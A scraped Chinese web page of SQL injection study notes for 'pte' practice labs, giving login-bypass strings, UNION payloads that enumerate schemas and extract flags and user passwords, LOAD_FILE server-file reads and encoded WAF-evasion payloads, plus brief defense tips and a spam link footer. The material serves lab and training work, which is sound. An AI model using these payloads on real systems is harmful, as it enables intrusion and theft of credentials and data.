当前位置: 首页 > news >正文

坂田做网站的公司搜索引擎优化的内容包括

坂田做网站的公司,搜索引擎优化的内容包括,卡通设计类网站欣赏,app开发常用软件🔐 一、基础注入知识点 什么是SQL注入? SQL注入(SQL Injection)是指攻击者通过构造恶意SQL语句,将其注入到Web应用程序的输入中,从而控制后台数据库服务器,达到信息泄露、数据篡改、越权操作等…

🔐 一、基础注入知识点

什么是SQL注入?

SQL注入(SQL Injection)是指攻击者通过构造恶意SQL语句,将其注入到Web应用程序的输入中,从而控制后台数据库服务器,达到信息泄露、数据篡改、越权操作等目的。


🧪 二、SQL注入模拟与分类总结

✅ 模拟1:登录绕过 / 万能密码

' OR 1=1 --
  • 原理:利用逻辑表达式永远为真 (1=1),绕过登录验证。

  • 用途:用于登录框、管理员后台等认证接口的绕过。


✅ 模拟2:信息收集类注入(基于UNION的注入)

  1. 注入点探测

    ?uuid=-1'+union+ALL+SELECT+'1','2','3','4','5','6
    • 检查返回字段数是否正确,判断注入点位置。

  2. 获取数据库名

    SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata
    
  3. 获取数据表名

    SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='wasjcms'
  4. 获取字段名

    SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'
  5. 获取字段值

    SELECT flag FROM wasjcms.flag

✅ 模拟3:读取服务器敏感文件

UNION SELECT ..., LOAD_FILE('/var/www/html/key.flag'), ...
  • 函数LOAD_FILE(path) 可读取服务器文件内容(需满足条件如路径可读、权限开放)。

  • 风险:信息泄露、读取flag等敏感数据。


✅ 模拟4:数据库结构探测与读取数据

?id=0 UNION SELECT 1,2,GROUP_CONCAT(table_name),... FROM information_schema.tables WHERE table_schema=database()
  • 探测当前数据库的表结构

  • GROUP_CONCAT(...):合并多行数据为单行输出,便于查看。

?id=0 UNION SELECT ..., GROUP_CONCAT(flag) FROM cms.cms_flag
  • 实际读取指定表字段值


✅ 模拟5:编码绕过与路径文件读取

?id=0')%0bununionion%0bselect%0b1,2,3,load_file('/tmp/key.flag')%23
  • %0b 是 URL 编码的垂直制表符,用于绕过WAF或过滤器。

  • %23# 的URL编码,相当于注释符。


✅ 模拟6:精确信息提取

- 获取当前数据库
(SELECT database())
- 获取表名
SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema='php_test'
- 获取字段名
SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE table_name='users'
- 获取数据内容
SELECT GROUP_CONCAT(username,password) FROM php_test.users

📌 三、常用注入函数与技巧

类别用法/函数说明
绕过' OR 1=1 --登录认证绕过
信息合并GROUP_CONCAT()将多行字段合并
系统函数database(), now(), user()当前数据库/时间/用户
系统表information_schema.tables, columns, schemata探测数据库结构
文件读取LOAD_FILE()读取服务器文件
注释符--, #, /*...*/注释掉原SQL

🧱 四、防御建议

  1. 使用预编译语句(Prepared Statements / ORM)

  2. 对用户输入进行严格校验与转义

  3. 最小权限原则:数据库用户不要授予FILE, SUPER, GRANT, DROP权限

  4. 隐藏错误信息,不返回SQL异常到前端

  5. 部署WAF / IDS 等安全设备进行注入防护

pteSQL注入模拟1

万能密码' OR 1=1 -- 

pteSQL注入模拟2

找注入点

?uuid=-1'+union+ALL+SELECT+'1','2','3','4','5','6

数据库名 wasjcms

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.SCHEMATA),'3','4','5','6

表名 flag

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='wasjcms'),'3','4','5','6

字段flag

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(column_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='flag'),'3','4','5','6

数据

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+flag+FROM+wasjcms.flag),'3','4','5','6

pteSQL注入模拟3

union select 1,2,3,4,5,6,7,8,9,10,11,12,load_file('/var/www/html/key.flag'),14,15--+

pteSQL注入模拟4

联合查询

?id=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

?id=0 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--+

?id=0 union select 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--+

?id=0 union select 1,2,group_concat(flag),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_flag--+

pteSQL注入模拟5

?id=0')%0bununionion%0bselect%0b1,2,3,load_file('/tmp/key.flag')%23

pteSQL注入模拟6

 数据库名:

2','3',(SELECT database()),NOW()) -- 

表:

2',(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables where table_schema='php_test'),'4',NOW()) -- 

列:

2',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where table_schema='php_test' and table_name='users'),'4',NOW()) -- 
2',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where table_schema='php_test' and table_name='articles'),'4',NOW()) -- 

值:

2','3',(SELECT GROUP_CONCAT(password) from php_test.users),NOW()) -- 

pteSQL注入模拟7

http://www.hkea.cn/news/262404/

相关文章:

  • 制作网站项目流程无锡网站建设seo
  • 最好的开发网站建设价格如何搜索网页关键词
  • 做网站犯法了 程序员有责任吗网站建设合同
  • 建设部职称网站关键词优化营销
  • 做seo还要需要做网站吗百度热搜榜排行
  • 福建城市建设厅网站怎么推广一个网站
  • 机构网站建设需要交费吗关键词挖掘
  • 专业网站建设费用报价今日最新消息
  • 电商网站建设论文2022黄页全国各行业
  • 能源企业 网站建设网络营销的应用
  • 如何看网站是用什么语言做的关键词排名是由什么决定的
  • 政府网站建设招标书百度网站收录
  • 已经有了网站怎么做推广哈尔滨关键词优化报价
  • 网站建设与管理作业镇江推广公司
  • 域名申请好后 如何建设网站网站权重划分
  • 佛山百度网站快速优化网络营销推广工具
  • 建一个网站需要哪些人广州seo网站推广公司
  • 建设银行etc官方网站搜索引擎优化的七个步骤
  • 做网站需要花钱吗海南百度推广运营中心
  • 做的网站显示图片很慢百度运营公司
  • 青州哪里做网站公司推广渠道
  • 网站面包屑导航怎么做的网推接单平台有哪些
  • 宜昌网站建设兼职百度关键词排名软件
  • 如何让百度快照找到自己的网站营销策划方案ppt模板
  • php网站超市广告软文是什么意思
  • b2c跨境电商宣城网站seo
  • 网站建设一流公司免费网站开发平台
  • 网站开发模式名词外贸谷歌优化
  • 网站素材 下载产品推广渠道
  • 网站后台维护怎么做seo专员工资一般多少